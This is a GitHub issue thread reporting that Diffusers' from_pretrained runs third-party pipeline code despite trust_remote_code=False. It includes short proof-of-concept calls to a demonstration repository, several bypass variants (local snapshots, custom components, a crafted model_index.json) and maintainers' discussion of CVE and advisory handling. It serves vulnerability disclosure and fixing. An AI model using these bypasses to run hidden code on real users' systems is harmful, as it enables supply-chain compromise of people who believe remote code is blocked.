Skip to content

Insufficient trust check for custom_pipeline parameter of DiffusionPipeline.from_pretrained method #13446

Closed

Description

@Vancir

Describe the bug

The DiffusionPipeline.from_pretrained API in the Diffusers library allows users to specify a custom_pipeline, which can point to an external Hugging Face repository containing a pipeline.py. This feature enables flexible extension of pipelines but may raise critical security concerns.

The current implementation enforces the trust_remote_code check only on the main model repository (pretrained_model_name), but fails to validate the external repository specified via custom_pipeline.

As a result, even when trust_remote_code=False, Diffusers may still download and execute arbitrary Python code from an attacker-controlled repository referenced by custom_pipeline. This creates a bypass of the intended security mechanism, leading to silent remote code execution.

Root Cause

load_pipe_from_hub = custom_pipeline is not None and f"{custom_pipeline}.py" in filenames
load_components_from_hub = len(custom_components) > 0
if load_pipe_from_hub and not trust_remote_code:
raise ValueError(
f"The repository for {pretrained_model_name} contains custom code in {custom_pipeline}.py which must be executed to correctly "
f"load the model. You can inspect the repository content at https://hf.co/{pretrained_model_name}/blob/main/{custom_pipeline}.py.\n"
f"Please pass the argument `trust_remote_code=True` to allow custom code to be run."
)
if load_components_from_hub and not trust_remote_code:
raise ValueError(
f"The repository for {pretrained_model_name} contains custom code in {'.py, '.join([os.path.join(k, v) for k, v in custom_components.items()])} which must be executed to correctly "
f"load the model. You can inspect the repository content at {', '.join([f'https://hf.co/{pretrained_model_name}/{k}/{v}.py' for k, v in custom_components.items()])}.\n"
f"Please pass the argument `trust_remote_code=True` to allow custom code to be run."
)
# retrieve passed components that should not be downloaded
pipeline_class = _get_pipeline_class(
cls,
config_dict,
load_connected_pipeline=load_connected_pipeline,
custom_pipeline=custom_pipeline,
repo_id=pretrained_model_name if load_pipe_from_hub else None,
hub_revision=revision,
class_name=custom_class_name,
cache_dir=cache_dir,
revision=custom_revision,
)

The check does not inspect the external repository referenced by custom_pipeline. Therefore, If custom_pipeline points to another repository (e.g., XManFromXlab/diffuser-custom-pipeline), and the main repo does not contain the corresponding .py file, then load_pipe_from_hub evaluates to False. As a result, the security check is skipped entirely, and diffusers will proceed to fetch the external repository, load and execute its pipeline.py. This results in a trust boundary violation, where remote code execution occurs without explicit user consent.

Reproduction

I created an example model repository on HuggingFace Hub for demonstration: XManFromXlab/diffuser-custom-pipeline. Note that the trust_remote_code flag is set to False.

from diffusers import DiffusionPipeline

benign_repo = "google/ddpm-cifar10-32"
evil_repo = "XManFromXlab/diffuser-custom-pipeline"
DiffusionPipeline.from_pretrained(
    benign_repo, custom_pipeline=evil_repo, trust_remote_code=False
)

In this example, it will print the following warning messages:

!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!

Logs

System Info

  • 🤗 Diffusers version: 0.38.0.dev0
  • Platform: Linux-6.8.0-88-generic-x86_64-with-glibc2.39
  • Running on Google Colab?: No
  • Python version: 3.12.3
  • PyTorch version (GPU?): 2.11.0+cu130 (False)
  • Flax version (CPU?/GPU?/TPU?): not installed (NA)
  • Jax version: not installed
  • JaxLib version: not installed
  • Huggingface_hub version: 1.10.1
  • Transformers version: not installed
  • Accelerate version: not installed
  • PEFT version: not installed
  • Bitsandbytes version: not installed
  • Safetensors version: 0.7.0
  • xFormers version: not installed
  • Accelerator: NVIDIA H200 NVL, 143771 MiB
    NVIDIA H200 NVL, 143771 MiB
    NVIDIA H200 NVL, 143771 MiB
  • Using GPU in script?:
  • Using distributed or parallel set-up in script?:

Who can help?

@sayakpaul @DN6

Activity

  1. added
    bug
    on Apr 12, 2026
  2. hlky commented on Apr 12, 2026

    @hlky
    Contributor

    @Vancir Very cool.

    from diffusers import DiffusionPipeline
    from huggingface_hub import snapshot_download
    
    benign_repo = "google/ddpm-cifar10-32"
    evil_repo = "XManFromXlab/diffuser-custom-pipeline"
    snapshot_path = snapshot_download(repo_id=benign_repo)
    DiffusionPipeline.from_pretrained(
        snapshot_path, custom_pipeline=evil_repo, trust_remote_code=False
    )

    Same issue in different code path with local directory for pretrained_model_name_or_path:

    if not os.path.isdir(pretrained_model_name_or_path):
    if pretrained_model_name_or_path.count("/") > 1:
    raise ValueError(
    f'The provided pretrained_model_name_or_path "{pretrained_model_name_or_path}"'
    " is neither a valid local path nor a valid repo id. Please check the parameter."
    )
    cached_folder = cls.download(

    # 3. Load the pipeline class, if using custom module then load it from the hub
    # if we load from explicit class, let's use it
    custom_pipeline, custom_class_name = _resolve_custom_pipeline_and_cls(
    folder=cached_folder, config=config_dict, custom_pipeline=custom_pipeline
    )
    pipeline_class = _get_pipeline_class(
    cls,
    config=config_dict,
    load_connected_pipeline=load_connected_pipeline,
    custom_pipeline=custom_pipeline,
    class_name=custom_class_name,
    cache_dir=cache_dir,
    revision=custom_revision,
    )

    We reach this point without hitting download - so trust_remote_code is never even checked and the remote code runs.

  3. hlky commented on Apr 12, 2026

    @hlky
    Contributor

    Found another case, I will discuss it further here to avoid too much noise on the PR:

    • pretrained_model_name_or_path as local directory with custom components, trust_remote_code is never checked
    from diffusers import DiffusionPipeline
    from huggingface_hub import snapshot_download
    
    snapshot_path = snapshot_download(repo_id="hf-internal-testing/tiny-sdxl-custom-components")
    pipeline = DiffusionPipeline.from_pretrained(
        snapshot_path, trust_remote_code=False
    )
    assert pipeline.config.unet == ("diffusers_modules.local.my_unet_model", "MyUNetModel")
    assert pipeline.config.scheduler == ("diffusers_modules.local.my_scheduler", "MyScheduler")

    This one is particularly interesting. It is fairly common, especially in the wider community and those who prefer local files, to download a Hub repo and then use that local directory with from_pretrained. The second case mentioned in the PR and in the comment above would still require a user to specify a malicious repo as custom_pipeline, this case does not, simply loading the local directory that contains malicious custom components would run the malicious code.

    A malicious actor could reupload a popular model and insert custom components, this would be particularly effective if the chosen model was access gated as many users would opt for the non-gated version.

  4. iwr-redmond commented on Apr 13, 2026

    @iwr-redmond

    This would also affect DDUF files, although they are underutilized at present.

  5. sayakpaul commented on Apr 13, 2026

    @sayakpaul
    Member

    Thanks, all, for the discussions! I just reviewed the PR from @hlky. I will let @DN6 do a review as well.

  6. Vancir commented on Apr 17, 2026

    @Vancir
    Author

    Thanks for reviewing and addressing the issue. I really appreciate the effort from the team. I’m reaching out to ask whether it would be possible to request or assign a CVE for this issue. This work is part of an ongoing academic research on security risks in ML ecosystems, and having a CVE would help us better track and reference the vulnerability in a standardized way. Thanks again for your time and support.

  7. asomoza commented on Apr 17, 2026

    @asomoza
    Member

    My two cents here is that it's kind of a gray area. Using custom_pipeline is actually a "use remote code" enabling feature, but at the same time you're disabling trust_remote_code. These are two separate mechanisms and the docs don't explicitly say one gates the other.

    Also in the https://huggingface.co/docs/diffusers/using-diffusers/custom_pipeline_overview we have a warning with:

    ▎ "you should still inspect the Hub pipeline code and make sure it is safe"

    This is something we should fix and it's being done in the PR, but the users should always check what custom pipeline or component are they using instead of blindly relying on this.

    My doubt here is that if the user is explicitly using a feature that runs remote code, does this fall as a CVE?

  8. iwr-redmond commented on Apr 17, 2026

    @iwr-redmond

    IIUC, the user does not have to decide to use remote code but rather has to decide to use remote weights. Old Diffusers versions are very common in everything from production libraries to research code, which means that publicizing this risk is particularly important now that malicious actors have easy access to an exploit POC.

  9. asomoza commented on Apr 17, 2026

    @asomoza
    Member

    using custom pipelines is actually using remote code, diffusers doesn't ship with custom pipelines, you're confusing the core pipelines with the custom ones, if people don't understand that, maybe we need to be more clear in the docs with this. The only difference is that by default diffusers looks in the custom pipelines (github mirror) if it matches a certain criteria, but you can actually pass a local pipeline or another repo id with a pipeline as OP did.

    So to be clear again, for the user to be affected by this, they need to knowingly and actively pass a custom "repo id" with a custom pipeline that they don't know what it does even with a red note in our docs that says that they should inspect the hub pipeline.

  10. iwr-redmond commented on Apr 17, 2026

    @iwr-redmond

    you're confusing the core pipelines with the custom ones

    Oops, not the first time I've shot the wrong horse thief. My bigger-picture comment about a CVE remains, however. This sort of oversight is ripe for supply chain exploitation along the lines of the recent LiteLLM attack:

    • Downstream library uses a custom pipeline with trust_remote_code=False
    • Malicious actor takes over the remote HF repository and inserts a malware payload
    • Anyone looking at the downstream library code would be forgiven for thinking that the malware would not execute
  11. asomoza commented on Apr 17, 2026

    @asomoza
    Member

    that's actually the main issue, it doesn't make sense to use a custom pipeline without allowing the use of remote code, that pipeline won't run. If people before the fix have this, then it's really weird and doesn't make any sense, and it will break whatever they are using it for because it will fail to load with the pipeline.

    This doesn't fix a security issue, it fixes a weird combination of trying to use remote code but not allowing it at the same time.

    The security issue will still be present, people that use custom pipelines blindly using remote code that they don't know what it does or if the URL exist, will still have the security problem.

  12. iwr-redmond commented on Apr 17, 2026

    @iwr-redmond

    Got it (I hope). If a custom_pipeline by its nature involves running remotely hosted code, perhaps it would be helpful to rename it to something like remote_pipeline so that the feature is better described?

  13. asomoza commented on Apr 17, 2026

    @asomoza
    Member

    probably it can help but that's a breaking change for all the people that are using custom_pipeline so not sure if it's doable for something like this.

    The PR is good for this though, because people that just use custom_pipeline will have to enable also trust_remote_code or it won't work, but this is also a breaking change, all the ones that are running actually will fail when they update diffusers with that PR merged.

  14. iwr-redmond commented on Apr 17, 2026

    @iwr-redmond

    It would have to be a two-stage process, making the change with a deprecation warning first and then removing the old nomenclature in a later version.

  15. 6 remaining items

  16. asomoza commented on Apr 18, 2026

    @asomoza
    Member

    I know the LiteLLM case and other supply chain attacks (they are not new), but I don't think it applies here, those are real no user interactions attacks and also those aren't CVEs on the libraries that use a compromised dependency, practically there's nothing you can do except to make your library completely locked to verified versions or to remove any dependencies and code them again in your project, both are not real things you can do in the AI space.

    We agree then that the OP case is not worth a CVE then, the one in debate is the one where you have the compromised model from before hand.

    For that one, you can probably ask an expert? What I'm not sure, is that this is not a vulnerability made with this library, it needs for two things to happen at the same time from outside of diffusers:

    • For an external repository to be compromised even with hf security scans
    • At the same time, the user has to download via other means the repository and then try to use it with diffusers.

    Note: if the user downloaded the model and the repository gets compromised after that, if the user doesn't update the model manually, and they use it with diffusers, it's safe, diffusers won't update the model with the compromised code.

    Also I don't think it's that common for this to happen as most users, use diffusers to download them, maybe more advanced users do this, but this are just suppositions, we need real data to corroborate or refute this assumption which we don't have.

    But at this stage, if done this way, it's not wrong to be treated as a "not remote code", because it's actually in the user's machine and maintained by them no?

  17. hlky commented on Apr 18, 2026

    @hlky
    Contributor

    We agree then that the OP case is not worth a CVE then

    I don't agree. trust_remote_code is presented as a protection mechanism so it should cover all cases. See CWE-693. Afaik using custom_pipeline is not explicitly stated to override trust_remote_code, regardless of whether passing a custom_pipeline can be considered implicit trust if an explicit trust protection mechanism exists that should take priority - otherwise the protection mechanism might as well not exist.

    you can probably ask an expert

    HF has a security team, no?

    is that this is not a vulnerability made with this library, it needs for two things to happen at the same time from outside of diffusers

    User interaction is the case for many vulnerabilities, do we need to find a zero-click RCE for a vulnerability to be valid?

    I don't think it's that common for this to happen as most users

    I took a quick look at the first page of Issues and PRs, of those with code examples that involve models/pipelines, around half use local directories, this also mirrors my intuition having seen many issues and PRs here over the years. Perhaps you could check the metrics Diffusers collects if it's covered, but I don't think that's necessary, it's not much of a leap to assume users do use local directories and it doesn't make the issue go away by pretending they don't.

    it's not wrong to be treated as a "not remote code"

    Is "remote" really the right distinction here? Surely the actual intent, and what a reasonable person would expect, is "third party" code - anything that is not a part of Diffusers. The source of the code, or more accurately, the model/pipeline repo, as that's what we actually download, is irrelevant IMO.

    User downloads pipeline -> Diffusers executes third party code without consent

    It is that simple.

  18. asomoza commented on Apr 18, 2026

    @asomoza
    Member

    I don't want this to be a heated discussion, I'm just stating that it's not crystal clear that this is a CVE or not, hence the question.

    I'm just answering and discussing about the question OP made here:

    By no means I have or want any authority to prevent someone from opening a CVE so feel free to open it all you want.

    I'll just add that a firewall doesn't work if you use block all incoming connections when you also explicitly open a port or install an app that does it, it is also that simple.

    I won't engage in a discussion that tries to ridicule the other side, so I'll stop here.

  19. iwr-redmond commented on Apr 19, 2026

    @iwr-redmond

    Perhaps publishing a GHSA would be sufficient? This would ensure that downstream users are notified via Dependabot and does not require a CVE to be assigned.

    Here is the CVSS 3.1 string I get when trying to stay cautious about the overall impact:

    CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L

    • Attack vector: Local, because "the attacker’s path is via read/write/execute capabilities"
    • Attack complexity: High, because "a successful attack depends on conditions beyond the attacker's control"
    • Privileges required: Low, because we can assume that an attack would primarily impact "only settings and files owned by a user"
    • User interaction: Required, because the user must access an impacted repository or DDUF file
    • Scope: Changed, because the "vulnerability can affect resources beyond [...] the vulnerable component"
    • Confidentiality: Low, because it is not clear that "all resources within the impacted component" would be "divulged to the attacker"
    • Integrity: Low, because it is not clear that there would be "a total loss of integrity, or a complete loss of protection"
    • Availability: Low, because "the attacker does not have the ability to completely deny service to legitimate users"

    Severity: 5.0 (moderate)

    If the assumptions about confidentiality and integrity are wrong, and both of these impacts rise to High, the severity increases to 7.4 (high).

  20. hlky commented on Apr 19, 2026

    @hlky
    Contributor

    I will just add:

    trust_remote_code should be understood as the explicit consent boundary for executing third-party code while loading a pipeline artifact. A model repo / local snapshot is closer to an active document or project file than to a plain weights file: it may contain data, config, and executable extensions. The relevant security property is therefore not whether the artifact is "remote" or already on disk, but whether loading it can cause Diffusers to execute third-party code. In the same way that Word should not run embedded macros just because a document was opened from a local folder instead of downloaded directly, Diffusers should not execute custom pipeline/component code unless the user explicitly opts in. This is especially important because Diffusers is clearly intended to support both Hub-backed and local-only workflows, as shown by options like local_files_only, so the trust boundary cannot coherently depend on transport path.

    I also looked at the custom-component detection logic more closely. There is another inconsistency: _get_custom_components_and_folders() skips component entries whose first tuple element is not a string, so a crafted model_index.json can bypass the "contains custom components" determination in the Hub download() path. I verified this with a PoC using "tokenizer": [1, "CLIPTokenizer"], which bypasses the custom-component check but later crashes during loading with TypeError: attribute name must be string, not 'int' when Diffusers reaches hasattr(pipelines, library_name). So this particular PoC is not a demonstrated execution bypass, but it does prove that the trust_remote_code detection invariant is broken: a repo can be classified as not containing custom components even though the configuration has already stepped outside the assumptions of the trusted path.

    What makes this concerning is how narrow the gap is between this malformed-config PoC and a full bypass. In this case execution is only prevented because later code still happens to assume library_name is a real string and fails early on type handling. If only a handful of lines in the dynamic-loading path were written slightly differently, for example, by coercing the value to a string while constructing the candidate filename instead of relying on strict string-only operations, the same inconsistency could plausibly have become a complete trust_remote_code bypass. Even where this PoC does not yet produce code execution, it shows that trust_remote_code is not backed by a robust, consistently enforced notion of what counts as third-party executable content.

    For reference, these lines are the difference between a full bypass in this PoC. Changes like this could plausibly arise either through routine maintenance/refactoring or through deliberate action.

    is_pipeline_module = hasattr(pipelines, library_name)

    elif component_folder and os.path.isfile(os.path.join(component_folder, library_name + ".py")):
    # load custom component
    class_obj = get_class_from_dynamic_module(
    component_folder, module_file=library_name + ".py", class_name=class_name
    )

    diff --git a/src/diffusers/pipelines/pipeline_loading_utils.py b/src/diffusers/pipelines/pipeline_loading_utils.py
    index 779e6c3fc..0f2d4687a 100644
    --- a/src/diffusers/pipelines/pipeline_loading_utils.py
    +++ b/src/diffusers/pipelines/pipeline_loading_utils.py
    @@ -423,10 +423,10 @@ def get_class_obj_and_candidates(
     
             class_obj = getattr(pipeline_module, class_name)
             class_candidates = dict.fromkeys(importable_classes.keys(), class_obj)
    -    elif component_folder and os.path.isfile(os.path.join(component_folder, library_name + ".py")):
    +    elif component_folder and os.path.isfile(os.path.join(component_folder, f"{library_name}.py")):
             # load custom component
             class_obj = get_class_from_dynamic_module(
    -            component_folder, module_file=library_name + ".py", class_name=class_name
    +            component_folder, module_file=f"{library_name}.py", class_name=class_name
             )
             class_candidates = dict.fromkeys(importable_classes.keys(), class_obj)
         else:
    diff --git a/src/diffusers/pipelines/pipeline_utils.py b/src/diffusers/pipelines/pipeline_utils.py
    index 6ddd345aa..6146fa7bc 100644
    --- a/src/diffusers/pipelines/pipeline_utils.py
    +++ b/src/diffusers/pipelines/pipeline_utils.py
    @@ -1031,7 +1031,7 @@ class DiffusionPipeline(ConfigMixin, PushToHubMixin):
                 class_name = class_name[4:] if class_name.startswith("Flax") else class_name
     
                 # 7.3 Define all importable classes
    -            is_pipeline_module = hasattr(pipelines, library_name)
    +            is_pipeline_module = hasattr(pipelines, f"{library_name}")
                 importable_classes = ALL_IMPORTABLE_CLASSES
                 loaded_sub_model = None
     

    For reference on the custom component detection bypass:

    if module_candidate is None or not isinstance(module_candidate, str):
    continue

    # this enables downloading schedulers, tokenizers, ...
    allow_patterns += [f"{k}/*" for k in folder_names if k not in model_folder_names]

    Finally, the reproduction of this PoC:

    from diffusers import DiffusionPipeline
    
    pipe = DiffusionPipeline.from_pretrained("hlky/tiny-sdxl-custom-components")

    Note that this uses a Hub repo, not a local directory.

  21. asomoza commented on Apr 20, 2026

    @asomoza
    Member

    @Vancir @hlky we discussed it and both are correct in your assumptions @DN6 will discuss the GHSA and CVE with you if you want the credit.

    Hopefully we're ok with this, and it was never my intention to block or be negative about this, just had doubts and a question that are more clear now.

    also thanks @iwr-redmond for you feedback!

  22. DN6 commented on Apr 20, 2026

    @DN6
    Collaborator

    trust_remote_code should be understood as the explicit consent boundary for executing third-party code while loading a pipeline artifact.

    Agreed.

    We will publish a GHSA after merging #13448 and making a release.

    @hlky @Vancir I'll share the CVE ID and GHSA link in this thread once the advisory is published. Let me know if you'd like to be credited by a specific name/handle/affiliation.

  23. iwr-redmond commented on Apr 20, 2026

    @iwr-redmond

    @asomoza gauging these gray area risks can be difficult, but it's much better than getting your ox in a ditch in the midst of an active exploit that makes everything crystal clear–in a bad way. You promoted some useful discussion that helped clarify matters for everyone, wooden Indians notwithstanding.

  24. hlky commented on Apr 20, 2026

    @hlky
    Contributor

    @asomoza Thanks for working through this and for the clarification. I think some of my earlier comments came across more sharply than I intended, and I'm sorry for that.

    @DN6 I've pushed the requested changes and tried to align the PR with the direction discussed here. Happy to make any further adjustments if useful.

    @Vancir Thanks again for raising this issue.

    @iwr-redmond Thanks for your feedback as well.

  25. hlky commented on Apr 28, 2026

    @hlky
    Contributor

    @DN6 Is there a timeline on making a release and publishing the advisories?

  26. DN6 commented on Apr 30, 2026

    @DN6
    Collaborator

    @hlky Release should be out by 12pm CET on May 1st

  27. DN6 commented on May 1, 2026

    @DN6
    Collaborator

    @hlky @Vancir I've opened a GHSA and requested a CVE. GHSA has been published and I'll share the CVE ID once we have one. You have both been credited. Thank you 👍🏽

  28. zafido commented on May 3, 2026

    @zafido

    Hi @DN6 !
    I have a GHSA report pending from March 19 that disclosed this root cause with another variant. It is still private but can be found here - GHSA-7wx4-6vff-v64p
    Please let me know if it will receive another CVE, or if it should be included in the credits for this one. Thank you 🙏

  29. DN6 commented on May 7, 2026

    @DN6
    Collaborator

    Hi @zafido. Will continue the discussion in GHSA-7wx4-6vff-v64p

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugpipelines

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions